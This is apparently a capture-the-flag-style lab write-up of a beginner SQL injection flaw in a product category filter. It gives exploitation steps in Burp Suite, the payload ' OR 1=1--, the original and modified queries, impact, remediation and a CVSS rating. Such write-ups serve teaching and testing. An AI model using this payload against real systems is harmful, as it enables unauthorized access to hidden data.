

SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

Topic: SQL Injection | Difficulty: Apprentice

Description

The application is vulnerable to SQL Injection in the product category filter. User-supplied input is embedded directly into a SQL query without parameterization. The executed query is: `SELECT * FROM products WHERE category = '<input>' AND released = 1`. By injecting SQL syntax an attacker can retrieve unreleased and hidden products.

Steps to Exploit

1. Navigate to the product listing page.
2. Select any product category (e.g., Gifts).
3. Intercept the GET request in Burp Suite.
4. Locate the 'category' query parameter in the URL.
5. Replace the parameter value with: `' OR 1=1--`
6. Forward the modified request.
7. Observe that all products including unreleased ones are now displayed.

Proof of Concept

Payload:

```
' OR 1=1--
```

Original Query:

```
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
```

Modified Query:

```
SELECT * FROM products WHERE category = '' OR 1=1--' AND released = 1
```

Impact

- Unauthorized access to hidden or unreleased product data.
- Exposure of business-sensitive information.
- Potential stepping stone for more complex SQL Injection attacks.
- Breach of application confidentiality.

Mitigation / Remediation

1. Use parameterized queries (prepared statements) for all SQL interactions.
2. Implement strict server-side input validation and allowlist acceptable values.
3. Apply the principle of least privilege to database accounts.
4. Conduct regular code reviews and penetration testing.

CVSS Score

CVSS v3.1: 5.3 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVSS Justification

- Attack Vector: Network - exploitable remotely via web request.
- Attack Complexity: Low - no special conditions required.
- Privileges Required: None - no authentication needed.
- User Interaction: None - no victim action required.
- Confidentiality: Low - unauthorized access to hidden product records.
- Integrity / Availability: None - read-only exploitation observed.